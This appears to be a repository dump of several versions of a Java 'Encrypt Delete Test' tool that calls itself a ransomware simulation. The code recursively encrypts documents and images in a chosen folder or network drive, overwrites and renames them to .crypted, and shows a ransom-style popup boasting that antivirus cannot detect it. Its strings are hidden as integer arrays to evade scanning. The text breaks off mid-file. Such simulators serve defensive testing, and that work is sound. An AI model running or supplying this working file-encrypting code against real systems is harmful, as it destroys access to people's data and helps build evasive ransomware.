file.getCanonicalPath().toLowerCase().endsWith(".png")){ 204 | cryptOperation(file.getCanonicalPath()); 205 | } 206 | }else{ 207 | if (file.getCanonicalPath().toLowerCase().endsWith(".crypted")){ 208 | cryptOperation(file.getCanonicalPath()); 209 | } 210 | } 211 | } 212 | } 213 | } catch (IOException e) { 214 | e.printStackTrace(); 215 | } 216 | } 217 | 218 | public static String NumtoString(int[] NumArray){ 219 | String str = ""; 220 | for (int i: NumArray) { 221 | str += Character.toString((char) i); 222 | } 223 | return str; 224 | } 225 | 226 | public static void cryptOperation(String filename) { 227 | try { 228 | if (option.equals(strEncrypt)) { 229 | int CharNum[] = {99,114,121,112,116}; 230 | String outputfile = filename + "." + NumtoString(CharNum) + "ed"; 231 | textarea.append("Encrypt and overwrite to " + filename + "\n"); 232 | 233 | Path path = Paths.get(filename); 234 | byte[] fileBytes = Files.readAllBytes(path); 235 | byte[] resultBytes = null; 236 | resultBytes = encryptData(password, fileBytes); 237 | 238 | File writefile = new File(filename); 239 | try (FileOutputStream outputStream = new FileOutputStream(writefile)) { 240 | outputStream.write(resultBytes); 241 | } 242 | 243 | textarea.append("Rename to " + outputfile + "\n"); 244 | File file = new File(filename); 245 | Path pathoutputile = Paths.get(outputfile); 246 | Path pathinputile = Paths.get(filename); 247 | Files.move(pathinputile, pathoutputile); 248 | File f = new File(outputfile); 249 | if (f.exists() && f.isFile()) { 250 | encryptedcount = encryptedcount + 1; 251 | } 252 | textarea.append("\n"); 253 | 254 | } else if (option.equals(strDecrypt)) { 255 | String outputfile = filename.replaceAll(".crypted$",""); 256 | textarea.append("Decrypt to " + outputfile + "\n"); 257 | 258 | Path path = Paths.get(filename); 259 | byte[] fileBytes = Files.readAllBytes(path); 260 | byte[] resultBytes = null; 261 | resultBytes = decryptData(password, fileBytes); 262 | 263 | File writefile = new File(outputfile); 264 | try (FileOutputStream outputStream = new FileOutputStream(writefile)) { 265 | outputStream.write(resultBytes); 266 | } 267 | textarea.append("\n"); 268 | } 269 | } catch (NoSuchPaddingException | NoSuchAlgorithmException | InvalidAlgorithmParameterException | InvalidKeyException | BadPaddingException | IllegalBlockSizeException | InvalidKeySpecException | IOException e) { 270 | e.printStackTrace(); 271 | } 272 | } 273 | 274 | public static byte [] encryptData(String key, byte [] data) throws NoSuchPaddingException, 275 | NoSuchAlgorithmException, 276 | InvalidAlgorithmParameterException, 277 | InvalidKeyException, 278 | BadPaddingException, 279 | IllegalBlockSizeException, InvalidKeySpecException { 280 | 281 | SecureRandom secureRandom = new SecureRandom(); 282 | byte[] iv = new byte[12]; 283 | secureRandom.nextBytes(iv); 284 | SecretKey secretKey = generateSecretKey(key, iv); 285 | Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); 286 | GCMParameterSpec parameterSpec = new GCMParameterSpec(128, iv); 287 | cipher.init(Cipher.ENCRYPT_MODE, secretKey, parameterSpec); 288 | byte [] encryptedData = cipher.doFinal(data); 289 | ByteBuffer byteBuffer = ByteBuffer.allocate(4 + iv.length + encryptedData.length); 290 | byteBuffer.putInt(iv.length); 291 | byteBuffer.put(iv); 292 | byteBuffer.put(encryptedData); 293 | return byteBuffer.array(); 294 | } 295 | 296 | public static byte [] decryptData(String key, byte [] encryptedData) 297 | throws NoSuchPaddingException, 298 | NoSuchAlgorithmException, 299 | InvalidAlgorithmParameterException, 300 | InvalidKeyException, 301 | BadPaddingException, 302 | IllegalBlockSizeException, 303 | InvalidKeySpecException { 304 | 305 | ByteBuffer byteBuffer = ByteBuffer.wrap(encryptedData); 306 | int noonceSize = byteBuffer.getInt(); 307 | if(noonceSize < 12 || noonceSize >= 16) { 308 | throw new IllegalArgumentException("Nonce size is incorrect."); 309 | } 310 | byte[] iv = new byte[noonceSize]; 311 | byteBuffer.get(iv); 312 | SecretKey secretKey = generateSecretKey(key, iv); 313 | byte[] cipherBytes = new byte[byteBuffer.remaining()]; 314 | byteBuffer.get(cipherBytes); 315 | Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); 316 | GCMParameterSpec parameterSpec = new GCMParameterSpec(128, iv); 317 | cipher.init(Cipher.DECRYPT_MODE, secretKey, parameterSpec); 318 | return cipher.doFinal(cipherBytes); 319 | } 320 | 321 | public static SecretKey generateSecretKey(String password, byte [] iv) throws NoSuchAlgorithmException, InvalidKeySpecException { 322 | KeySpec spec = new PBEKeySpec(password.toCharArray(), iv, 65536, 128); // AES-128 323 | SecretKeyFactory secretKeyFactory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1"); 324 | byte[] key = secretKeyFactory.generateSecret(spec).getEncoded(); 325 | return new SecretKeySpec(key, "AES"); 326 | } 327 | 328 | @Override 329 | public void actionPerformed(ActionEvent e){ 330 | if ( strEncrypt.equals(cb.getSelectedItem().toString()) || strDecrypt.equals(cb.getSelectedItem().toString())) { 331 | option = cb.getSelectedItem().toString(); 332 | goProcess(); 333 | } else { 334 | JOptionPane.showMessageDialog(this, "Please select option","[Encrypt Delete Test v4]", JOptionPane.ERROR_MESSAGE); 335 | } 336 | } 337 | 338 | public static String folderchooser() { 339 | File file; 340 | final JFileChooser jfc = new JFileChooser(); 341 | jfc.setCurrentDirectory(new java.io.File(".")); 342 | jfc.setDialogTitle("Choose a folder or network drive: "); 343 | jfc.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY); 344 | int returnValue = jfc.showOpenDialog(null); 345 | file = jfc.getSelectedFile(); 346 | try { 347 | return file.getCanonicalPath(); 348 | } 349 | catch(IOException e) { 350 | return ""; 351 | } 352 | } 353 | 354 | } 355 | -------------------------------------------------------------------------------- /Source/Java/EncryptDelTestv4.java.211007: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | import java.io.File; 3 | import java.io.FilenameFilter; 4 | import java.io.IOException; 5 | 6 | import javax.crypto.*; 7 | import javax.crypto.spec.GCMParameterSpec; 8 | import javax.crypto.spec.PBEKeySpec; 9 | import javax.crypto.spec.SecretKeySpec; 10 | import java.nio.ByteBuffer; 11 | import java.security.InvalidAlgorithmParameterException; 12 | import java.security.InvalidKeyException; 13 | import java.security.NoSuchAlgorithmException; 14 | import java.security.SecureRandom; 15 | import java.security.spec.InvalidKeySpecException; 16 | import java.security.spec.KeySpec; 17 | 18 | import java.text.ParseException; 19 | import java.text.SimpleDateFormat; 20 | import java.util.Date; 21 | 22 | import java.io.*; 23 | import java.nio.file.StandardCopyOption; 24 | import java.nio.file.Files; 25 | import java.nio.file.Path; 26 | import java.nio.file.Paths; 27 | 28 | import java.awt.BorderLayout; 29 | import java.awt.event.ActionEvent; 30 | import javax.swing.*; 31 | import java.awt.event.*; 32 | import javax.swing.*; 33 | import java.awt.*; 34 | 35 | import java.net.URI; 36 | import java.awt.Desktop; 37 | 38 | 39 | public class EncryptDelTestv4 extends JPanel implements ActionListener { 40 | private static Cipher encrypt; 41 | private static Cipher decrypt; 42 | private static JTextArea textarea = new JTextArea(40, 60); 43 | String thisselection[]={"Please select","Encrypt","Decrypt"}; 44 | private JComboBox cb = new JComboBox(thisselection); 45 | private static JButton button = new JButton("Choose a folder or network drive to process the test"); 46 | private static final byte[] initialization_vector = {99,11,88,00,55,66,33,22}; 47 | private static SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); 48 | private static Date today = new Date(); 49 | public static int encryptedcount; 50 | public static String password = "testkey@123"; 51 | public static String option; 52 | public static String strEncrypt = Character.toString((char) 69) + Character.toString((char) 110) + Character.toString((char) 99) + Character.toString((char) 114) + Character.toString((char) 121) + Character.toString((char) 112) + Character.toString((char) 116); 53 | public static String strDecrypt = Character.toString((char) 68) + Character.toString((char) 101) + Character.toString((char) 99) + Character.toString((char) 114) + Character.toString((char) 121) + Character.toString((char) 112) + Character.toString((char) 116); 54 | 55 | public EncryptDelTestv4(){ 56 | JFrame frame = new JFrame("[Encrypt Delete Test v4]"); 57 | textarea.setFocusable(false); 58 | textarea.setWrapStyleWord(false); 59 | textarea.setLineWrap(false); 60 | Font font = new Font("Courier New", Font.BOLD, 12); 61 | textarea.setFont(font); 62 | JScrollPane scrollpane = new JScrollPane(textarea); 63 | scrollpane.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_ALWAYS); 64 | 65 | frame.setBounds(3, 3, 3, 3); 66 | frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 67 | frame.getContentPane().setLayout(new BorderLayout(3, 3)); 68 | frame.getContentPane().add(new JScrollPane(textarea), BorderLayout.CENTER); 69 | JPanel panel = new JPanel(new GridLayout(2, 1)); 70 | panel.add(cb); 71 | panel.add(button); 72 | frame.getContentPane().add(panel, BorderLayout.SOUTH); 73 | frame.pack(); 74 | frame.setLocationRelativeTo(null); 75 | frame.setVisible(true); 76 | button.addActionListener(this); 77 | } 78 | 79 | public static void main(String[] args) throws IOException, ParseException { 80 | new EncryptDelTestv4(); 81 | int CharNum[] = {91,69,110,99,114,121,112,116,32,68,101,108,101,116,101,32,84,101,115,116,32,118,52,32,40,74,97,118,97,41,93}; 82 | textarea.append(NumtoString(CharNum)+"\n"); 83 | CharNum = new int[]{83,105,109,117,108,97,116,101,32,114,97,110,115,111,109,119,97,114,101,32,101,110,99,114,121,112,116,105,111,110,32,111,112,101,114,97,116,105,111,110}; 84 | textarea.append(NumtoString(CharNum)+"\n"); 85 | CharNum = new int[]{66,121,32,69,100,100,105,101,32,67,104,117,32,101,100,100,105,101,99,104,117,46,97,110,100,114,111,105,100,64,103,109,97,105,108,46,99,111,109}; 86 | textarea.append(NumtoString(CharNum)+"\n"); 87 | CharNum = new int[]{80,108,101,97,115,101,32,100,111,119,110,108,111,97,100,32,116,104,101,32,111,114,105,103,105,110,97,108,32,97,110,100,32,108,97,116,101,115,116,32,118,101,114,115,105,111,110,32,102,114,111,109}; 88 | textarea.append(NumtoString(CharNum)+"\n"); 89 | CharNum = new int[]{104,116,116,112,115,58,47,47,103,105,116,104,117,98,46,99,111,109,47,101,100,100,105,101,99,104,117,47,69,110,99,114,121,112,116,45,68,101,108,101,116,101,45,84,101,115,116}; 90 | textarea.append(NumtoString(CharNum)+"\n"); 91 | CharNum = new int[]{86,101,114,115,105,111,110,32,118,52,46,48,46,49,32,40,55,47,79,99,116,47,50,48,50,49,41}; 92 | textarea.append(NumtoString(CharNum)+"\n"); 93 | textarea.append("\n"); 94 | CharNum = new int[]{84,104,105,115,32,116,111,111,108,32,101,110,99,114,121,112,116,115,32,45,32,111,118,101,114,119,114,105,116,101,115,32,45,32,114,101,110,97,109,101,115,32,116,104,101,32,102,105,108,101,32,117,110,100,101,114,32,115,101,108,101,99,116,101,100,32,102,111,108,100,101,114,32,97,110,100,32,105,116,39,115,32,115,117,98,102,111,108,100,101,114,40,115,41,41}; 95 | textarea.append(NumtoString(CharNum)+"\n"); 96 | textarea.append("\n"); 97 | CharNum = new int[]{91,67,97,117,116,105,111,110,93}; 98 | textarea.append(NumtoString(CharNum)+"\n"); 99 | CharNum = new int[]{89,111,117,32,117,115,101,32,116,104,105,115,32,116,111,111,108,32,99,111,109,112,108,101,116,101,108,121,32,97,116,32,121,111,117,114,32,111,119,110,32,114,105,115,107,46}; 100 | textarea.append(NumtoString(CharNum)+"\n"); 101 | textarea.append("\n"); 102 | CharNum = new int[]{80,108,101,97,115,101,32,99,104,111,111,115,101,32,116,104,101,32,111,112,116,105,111,110,32,97,116,32,116,104,101,32,98,111,116,116,111,109,32,116,111,32,112,114,111,99,101,101,100}; 103 | textarea.append(NumtoString(CharNum)+"\n"); 104 | textarea.setCaretPosition(textarea.getDocument().getLength()); 105 | } 106 | 107 | public static void goProcess() { 108 | File file; 109 | final JFileChooser jfc = new JFileChooser(); 110 | jfc.setCurrentDirectory(new java.io.File(".")); 111 | jfc.setDialogTitle("Choose a folder or network drive: "); 112 | jfc.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY); 113 | int returnValue = jfc.showOpenDialog(null); 114 | if (returnValue == JFileChooser.APPROVE_OPTION){ 115 | file = jfc.getSelectedFile(); 116 | textarea.append("\n"); 117 | File currentDir = new File("."); 118 | traverseDirectory(currentDir); 119 | 120 | if (option.equals(strEncrypt)) { 121 | try { 122 | BufferedWriter out = new BufferedWriter(new FileWriter("popup.html")); 123 | int CharNum[] = {60,104,116,109,108,62}; 124 | out.write(NumtoString(CharNum)+"\n"); 125 | CharNum = new int[]{60,104,101,97,100,62}; 126 | out.write(NumtoString(CharNum)+"\n"); 127 | CharNum = new int[]{60,116,105,116,108,101,62,69,110,99,114,121,112,116,68,101,108,84,101,115,116,118,52,60,47,116,105,116,108,101,62}; 128 | out.write(NumtoString(CharNum)+"\n"); 129 | CharNum = new int[]{60,98,111,100,121,32,98,103,99,111,108,111,114,61,114,101,100,62}; 130 | out.write(NumtoString(CharNum)+"\n"); 131 | CharNum = new int[]{60,102,111,110,116,32,115,105,122,101,61,43,49,48,32,99,111,108,111,114,61,119,104,105,116,101,62,60,98,62,91,69,110,99,114,121,112,116,68,101,108,84,101,115,116,118,52,32,40,74,97,118,97,41,93,60,47,98,62,60,47,102,111,110,116,62,60,98,114,62,60,98,114,62,60,98,114,62,60,98,114,62}; 132 | out.write(NumtoString(CharNum)+"\n"); 133 | CharNum = new int[]{60,102,111,110,116,32,115,105,122,101,61,43,49,48,32,99,111,108,111,114,61,119,104,105,116,101,62,84,104,97,110,107,115,32,102,111,114,32,121,111,117,114,32,116,101,115,116,33,60,47,102,111,110,116,62,60,98,114,62,60,98,114,62}; 134 | out.write(NumtoString(CharNum)+"\n"); 135 | CharNum = new int[]{60,102,111,110,116,32,115,105,122,101,61,43,49,48,32,99,111,108,111,114,61,119,104,105,116,101,62,89,111,117,114,32,97,110,116,105,45,118,105,114,117,115,32,115,111,102,116,119,97,114,101,32,60,117,62,67,65,78,78,79,84,60,47,117,62,32,100,101,116,101,99,116,32,116,104,105,115,32,116,101,115,116,60,47,102,111,110,116,62,60,98,114,62,60,98,114,62}; 136 | out.write(NumtoString(CharNum)+"\n"); 137 | out.write("
\n"); 138 | out.write("
\n"); 139 | CharNum = new int[]{60,98,114,62,69,110,99,114,121,112,116,105,111,110,32,75,101,121,58,32}; 140 | out.write(NumtoString(CharNum) + password + "\n"); 141 | CharNum = new int[]{60,98,114,62,69,110,99,114,121,112,116,101,100,32,70,105,108,101,58,32}; 142 | out.write(NumtoString(CharNum) + encryptedcount + "\n"); 143 | out.write("
" + sdf.format(today) + "\n"); 144 | out.write("
\n"); 145 | CharNum = new int[]{60,47,98,111,100,121,62}; 146 | out.write(NumtoString(CharNum)+"\n"); 147 | CharNum = new int[]{60,47,104,116,109,108,62}; 148 | out.write(NumtoString(CharNum)+"\n"); 149 | out.close(); 150 | } 151 | catch (IOException e) { 152 | } 153 | 154 | textarea.append("\n"); 155 | if (encryptedcount > 0){ 156 | java.awt.Desktop desktop = java.awt.Desktop.getDesktop(); 157 | if( desktop.isSupported( java.awt.Desktop.Action.BROWSE ) ) { 158 | try { 159 | java.net.URI uri = new java.net.URI("popup.html"); 160 | desktop.browse( uri ); 161 | } 162 | catch ( Exception e ) { 163 | System.err.println( e.getMessage() ); 164 | } 165 | } 166 | int CharNum[] = {69,110,99,114,121,112,116,105,111,110,32,75,101,121,58,32}; 167 | textarea.append(NumtoString(CharNum) + password + "\n"); 168 | CharNum = new int[]{69,110,99,114,121,112,116,101,100,32,70,105,108,101,58,32}; 169 | textarea.append(NumtoString(CharNum) + encryptedcount + "\n"); 170 | textarea.setForeground(Color.RED); 171 | CharNum = new int[]{79,112,101,114,97,116,105,111,110,32,99,111,109,112,108,101,116,101,100,33}; 172 | textarea.append("\n"); 173 | textarea.append(NumtoString(CharNum) + "\n"); 174 | } else { 175 | int CharNum[] = {78,111,32,102,105,108,101,32,105,115,32,102,111,117,110,100,32,111,114,32,101,110,99,114,121,112,116,101,100}; 176 | textarea.append(NumtoString(CharNum) + "\n"); 177 | } 178 | textarea.setCaretPosition(textarea.getDocument().getLength()); 179 | JFrame f; 180 | f=new JFrame(); 181 | if (encryptedcount > 0){ 182 | int CharNum[] = {79,112,101,114,97,116,105,111,110,32,99,111,109,112,108,101,116,101,100,33}; 183 | JOptionPane.showMessageDialog(f,NumtoString(CharNum),"[Encrypt Delete Test v4]",JOptionPane.ERROR_MESSAGE); 184 | } 185 | } else if (option.equals(strDecrypt)){ 186 | int CharNum[] = {79,112,101,114,97,116,105,111,110,32,99,111,109,112,108,101,116,101,100,33}; 187 | textarea.append(NumtoString(CharNum) + "\n"); 188 | JFrame f; 189 | f=new JFrame(); 190 | JOptionPane.showMessageDialog(f,NumtoString(CharNum),"[Encrypt Delete Test v4]",JOptionPane.ERROR_MESSAGE); 191 | } 192 | } 193 | } 194 | 195 | public static void traverseDirectory(File dir) { 196 | try { 197 | File[] files = dir.listFiles(); 198 | for (File file: files) { 199 | if (file.isDirectory()) { 200 | traverseDirectory(file); 201 | } else { 202 | if (option.equals(strEncrypt)){ 203 | if (file.getCanonicalPath().toLowerCase().endsWith(".doc") || file.getCanonicalPath().toLowerCase().endsWith(".docx") || file.getCanonicalPath().toLowerCase().endsWith(".xls") || file.getCanonicalPath().toLowerCase().endsWith(".xlsx") || file.getCanonicalPath().toLowerCase().endsWith(".txt") || file.getCanonicalPath().toLowerCase().endsWith(".rtf") || file.getCanonicalPath().toLowerCase().endsWith(".pdf") || file.getCanonicalPath().toLowerCase().endsWith(".jpg") || file.getCanonicalPath().toLowerCase().endsWith(".jpeg") || file.getCanonicalPath().toLowerCase().endsWith(".gif") || file.getCanonicalPath().toLowerCase().endsWith(".bmp") || file.getCanonicalPath().toLowerCase().endsWith(".png")){ 204 | cryptOperation(file.getCanonicalPath()); 205 | } 206 | }else{ 207 | if (file.getCanonicalPath().toLowerCase().endsWith(".crypted")){ 208 | cryptOperation(file.getCanonicalPath()); 209 | } 210 | } 211 | } 212 | } 213 | } catch (IOException e) { 214 | e.printStackTrace(); 215 | } 216 | } 217 | 218 | public static String NumtoString(int[] NumArray){ 219 | String str = ""; 220 | for (int i: NumArray) { 221 | str += Character.toString((char) i); 222 | } 223 | return str; 224 | } 225 | 226 | public static void cryptOperation(String filename) { 227 | try { 228 | if (option.equals(strEncrypt)) { 229 | int CharNum[] = {99,114,121,112,116}; 230 | String outputfile = filename + "." + NumtoString(CharNum) + "ed"; 231 | textarea.append("Encrypt and overwrite to " + filename + "\n"); 232 | 233 | Path path = Paths.get(filename); 234 | byte[] fileBytes = Files.readAllBytes(path); 235 | byte[] resultBytes = null; 236 | resultBytes = encryptData(password, fileBytes); 237 | 238 | File writefile = new File(filename); 239 | try (FileOutputStream outputStream = new FileOutputStream(writefile)) { 240 | outputStream.write(resultBytes); 241 | } 242 | 243 | textarea.append("Rename to " + outputfile + "\n"); 244 | File file = new File(filename); 245 | Path pathoutputile = Paths.get(outputfile); 246 | Path pathinputile = Paths.get(filename); 247 | Files.move(pathinputile, pathoutputile); 248 | File f = new File(outputfile); 249 | if (f.exists() && f.isFile()) { 250 | encryptedcount = encryptedcount + 1; 251 | } 252 | textarea.append("\n"); 253 | 254 | } else if (option.equals(strDecrypt)) { 255 | String outputfile = filename.replaceAll(".crypted$",""); 256 | textarea.append("Decrypt to " + outputfile + "\n"); 257 | 258 | Path path = Paths.get(filename); 259 | byte[] fileBytes = Files.readAllBytes(path); 260 | byte[] resultBytes = null; 261 | resultBytes = decryptData(password, fileBytes); 262 | 263 | File writefile = new File(outputfile); 264 | try (FileOutputStream outputStream = new FileOutputStream(writefile)) { 265 | outputStream.write(resultBytes); 266 | } 267 | textarea.append("\n"); 268 | } 269 | } catch (NoSuchPaddingException | NoSuchAlgorithmException | InvalidAlgorithmParameterException | InvalidKeyException | BadPaddingException | IllegalBlockSizeException | InvalidKeySpecException | IOException e) { 270 | e.printStackTrace(); 271 | } 272 | } 273 | 274 | public static byte [] encryptData(String key, byte [] data) throws NoSuchPaddingException, 275 | NoSuchAlgorithmException, 276 | InvalidAlgorithmParameterException, 277 | InvalidKeyException, 278 | BadPaddingException, 279 | IllegalBlockSizeException, InvalidKeySpecException { 280 | 281 | SecureRandom secureRandom = new SecureRandom(); 282 | byte[] iv = new byte[12]; 283 | secureRandom.nextBytes(iv); 284 | SecretKey secretKey = generateSecretKey(key, iv); 285 | Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); 286 | GCMParameterSpec parameterSpec = new GCMParameterSpec(128, iv); 287 | cipher.init(Cipher.ENCRYPT_MODE, secretKey, parameterSpec); 288 | byte [] encryptedData = cipher.doFinal(data); 289 | ByteBuffer byteBuffer = ByteBuffer.allocate(4 + iv.length + encryptedData.length); 290 | byteBuffer.putInt(iv.length); 291 | byteBuffer.put(iv); 292 | byteBuffer.put(encryptedData); 293 | return byteBuffer.array(); 294 | } 295 | 296 | public static byte [] decryptData(String key, byte [] encryptedData) 297 | throws NoSuchPaddingException, 298 | NoSuchAlgorithmException, 299 | InvalidAlgorithmParameterException, 300 | InvalidKeyException, 301 | BadPaddingException, 302 | IllegalBlockSizeException, 303 | InvalidKeySpecException { 304 | 305 | ByteBuffer byteBuffer = ByteBuffer.wrap(encryptedData); 306 | int noonceSize = byteBuffer.getInt(); 307 | if(noonceSize < 12 || noonceSize >= 16) { 308 | throw new IllegalArgumentException("Nonce size is incorrect."); 309 | } 310 | byte[] iv = new byte[noonceSize]; 311 | byteBuffer.get(iv); 312 | SecretKey secretKey = generateSecretKey(key, iv); 313 | byte[] cipherBytes = new byte[byteBuffer.remaining()]; 314 | byteBuffer.get(cipherBytes); 315 | Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); 316 | GCMParameterSpec parameterSpec = new GCMParameterSpec(128, iv); 317 | cipher.init(Cipher.DECRYPT_MODE, secretKey, parameterSpec); 318 | return cipher.doFinal(cipherBytes); 319 | } 320 | 321 | public static SecretKey generateSecretKey(String password, byte [] iv) throws NoSuchAlgorithmException, InvalidKeySpecException { 322 | KeySpec spec = new PBEKeySpec(password.toCharArray(), iv, 65536, 128); // AES-128 323 | SecretKeyFactory secretKeyFactory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1"); 324 | byte[] key = secretKeyFactory.generateSecret(spec).getEncoded(); 325 | return new SecretKeySpec(key, "AES"); 326 | } 327 | 328 | @Override 329 | public void actionPerformed(ActionEvent e){ 330 | if ( strEncrypt.equals(cb.getSelectedItem().toString()) || strDecrypt.equals(cb.getSelectedItem().toString())) { 331 | option = cb.getSelectedItem().toString(); 332 | goProcess(); 333 | } else { 334 | JOptionPane.showMessageDialog(this, "Please select option","[Encrypt Delete Test v4]", JOptionPane.ERROR_MESSAGE); 335 | } 336 | } 337 | 338 | } 339 | -------------------------------------------------------------------------------- /Source/Java/EncryptDelTestv4_1.java.220911: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | import java.io.File; 3 | import java.io.FilenameFilter; 4 | import java.io.IOException; 5 | 6 | import javax.crypto.*; 7 | import javax.crypto.spec.GCMParameterSpec; 8 | import javax.crypto.spec.PBEKeySpec; 9 | import javax.crypto.spec.SecretKeySpec; 10 | import java.nio.ByteBuffer; 11 | import java.security.InvalidAlgorithmParameterException; 12 | import java.security.InvalidKeyException; 13 | import java.security.NoSuchAlgorithmException; 14 | import java.security.SecureRandom; 15 | import java.security.spec.InvalidKeySpecException; 16 | import java.security.spec.KeySpec; 17 | 18 | import java.text.ParseException; 19 | import java.text.SimpleDateFormat; 20 | import java.util.Date; 21 | 22 | import java.io.*; 23 | import java.nio.file.StandardCopyOption; 24 | import java.nio.file.Files; 25 | import java.nio.file.Path; 26 | import java.nio.file.Paths; 27 | 28 | import java.awt.BorderLayout; 29 | import java.awt.event.ActionEvent; 30 | import javax.swing.*; 31 | import java.awt.event.*; 32 | import javax.swing.*; 33 | import java.awt.*; 34 | 35 | import java.net.URI; 36 | import java.awt.Desktop; 37 | 38 | 39 | public class EncryptDelTestv4_1 extends JPanel implements ActionListener { 40 | private static Cipher encrypt; 41 | private static Cipher decrypt; 42 | private static JTextArea textarea = new JTextArea(40, 60); 43 | String thisselection[]={"Please select","Encrypt","Decrypt"}; 44 | private JComboBox cb = new JComboBox(thisselection); 45 | private static JButton button = new JButton("Choose a folder or network drive to process the test"); 46 | private static final byte[] initialization_vector = {99,11,88,00,55,66,33,22}; 47 | private static SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); 48 | private static Date today = new Date(); 49 | public static int encryptedcount; 50 | public static String password = "testkey@123"; 51 | public static String option; 52 | public static String strEncrypt = Character.toString((char) 69) + Character.toString((char) 110) + Character.toString((char) 99) + Character.toString((char) 114) + Character.toString((char) 121) + Character.toString((char) 112) + Character.toString((char) 116); 53 | public static String strDecrypt = Character.toString((char) 68) + Character.toString((char) 101) + Character.toString((char) 99) + Character.toString((char) 114) + Character.toString((char) 121) + Character.toString((char) 112) + Character.toString((char) 116); 54 | 55 | public EncryptDelTestv4_1(){ 56 | JFrame frame = new JFrame("[Encrypt Delete Test v4.1]"); 57 | textarea.setFocusable(false); 58 | textarea.setWrapStyleWord(false); 59 | textarea.setLineWrap(false); 60 | Font font = new Font("Courier New", Font.BOLD, 12); 61 | textarea.setFont(font); 62 | JScrollPane scrollpane = new JScrollPane(textarea); 63 | scrollpane.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_ALWAYS); 64 | 65 | frame.setBounds(3, 3, 3, 3); 66 | frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 67 | frame.getContentPane().setLayout(new BorderLayout(3, 3)); 68 | frame.getContentPane().add(new JScrollPane(textarea), BorderLayout.CENTER); 69 | JPanel panel = new JPanel(new GridLayout(2, 1)); 70 | panel.add(cb); 71 | panel.add(button); 72 | frame.getContentPane().add(panel, BorderLayout.SOUTH); 73 | frame.pack(); 74 | frame.setLocationRelativeTo(null); 75 | frame.setVisible(true); 76 | button.addActionListener(this); 77 | } 78 | 79 | public static void main(String[] args) throws IOException, ParseException { 80 | new EncryptDelTestv4_1(); 81 | int CharNum[] = {91,69,110,99,114,121,112,116,32,68,101,108,101,116,101,32,84,101,115,116,32,118,52,46,49,32,40,74,97,118,97,41,93}; 82 | textarea.append(NumtoString(CharNum)+"\n"); 83 | CharNum = new int[]{83,105,109,117,108,97,116,101,32,114,97,110,115,111,109,119,97,114,101,32,101,110,99,114,121,112,116,105,111,110,32,111,112,101,114,97,116,105,111,110}; 84 | textarea.append(NumtoString(CharNum)+"\n"); 85 | CharNum = new int[]{66,121,32,69,100,100,105,101,32,67,104,117,32,101,100,100,105,101,99,104,117,46,97,110,100,114,111,105,100,64,103,109,97,105,108,46,99,111,109}; 86 | textarea.append(NumtoString(CharNum)+"\n"); 87 | CharNum = new int[]{80,108,101,97,115,101,32,100,111,119,110,108,111,97,100,32,116,104,101,32,111,114,105,103,105,110,97,108,32,97,110,100,32,108,97,116,101,115,116,32,118,101,114,115,105,111,110,32,102,114,111,109}; 88 | textarea.append(NumtoString(CharNum)+"\n"); 89 | CharNum = new int[]{104,116,116,112,115,58,47,47,103,105,116,104,117,98,46,99,111,109,47,101,100,100,105,101,99,104,117,47,69,110,99,114,121,112,116,45,68,101,108,101,116,101,45,84,101,115,116}; 90 | textarea.append(NumtoString(CharNum)+"\n"); 91 | CharNum = new int[]{86,101,114,115,105,111,110,32,118,52,46,49,32,40,49,49,47,83,101,112,47,50,48,50,50,41}; 92 | textarea.append(NumtoString(CharNum)+"\n"); 93 | textarea.append("\n"); 94 | CharNum = new int[]{84,104,105,115,32,116,111,111,108,32,101,110,99,114,121,112,116,115,32,45,32,111,118,101,114,119,114,105,116,101,115,32,45,32,114,101,110,97,109,101,115,32,116,104,101,32,102,105,108,101,32,117,110,100,101,114,32,115,101,108,101,99,116,101,100,32,102,111,108,100,101,114,32,97,110,100,32,105,116,39,115,32,115,117,98,102,111,108,100,101,114,40,115,41,41}; 95 | textarea.append(NumtoString(CharNum)+"\n"); 96 | textarea.append("\n"); 97 | CharNum = new int[]{91,67,97,117,116,105,111,110,93}; 98 | textarea.append(NumtoString(CharNum)+"\n"); 99 | CharNum = new int[]{89,111,117,32,117,115,101,32,116,104,105,115,32,116,111,111,108,32,99,111,109,112,108,101,116,101,108,121,32,97,116,32,121,111,117,114,32,111,119,110,32,114,105,115,107,46}; 100 | textarea.append(NumtoString(CharNum)+"\n"); 101 | textarea.append("\n"); 102 | CharNum = new int[]{80,108,101,97,115,101,32,99,104,111,111,115,101,32,116,104,101,32,111,112,116,105,111,110,32,97,116,32,116,104,101,32,98,111,116,116,111,109,32,116,111,32,112,114,111,99,101,101,100}; 103 | textarea.append(NumtoString(CharNum)+"\n"); 104 | textarea.setCaretPosition(textarea.getDocument().getLength()); 105 | } 106 | 107 | public static void goProcess() { 108 | File file; 109 | final JFileChooser jfc = new JFileChooser(); 110 | jfc.setCurrentDirectory(new java.io.File(".")); 111 | jfc.setDialogTitle("Choose a folder or network drive: "); 112 | jfc.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY); 113 | int returnValue = jfc.showOpenDialog(null); 114 | if (returnValue == JFileChooser.APPROVE_OPTION){ 115 | file = jfc.getSelectedFile(); 116 | textarea.append( "Target:" + file + "\n"); 117 | textarea.append("\n"); 118 | File currentDir = new File(jfc.getSelectedFile().getPath()); 119 | traverseDirectory(currentDir); 120 | if (option.equals(strEncrypt)) { 121 | try { 122 | BufferedWriter out = new BufferedWriter(new FileWriter("popup.html")); 123 | int CharNum[] = {60,104,116,109,108,62}; 124 | out.write(NumtoString(CharNum)+"\n"); 125 | CharNum = new int[]{60,104,101,97,100,62}; 126 | out.write(NumtoString(CharNum)+"\n"); 127 | CharNum = new int[]{60,116,105,116,108,101,62,69,110,99,114,121,112,116,68,101,108,84,101,115,116,118,52,60,47,116,105,116,108,101,62}; 128 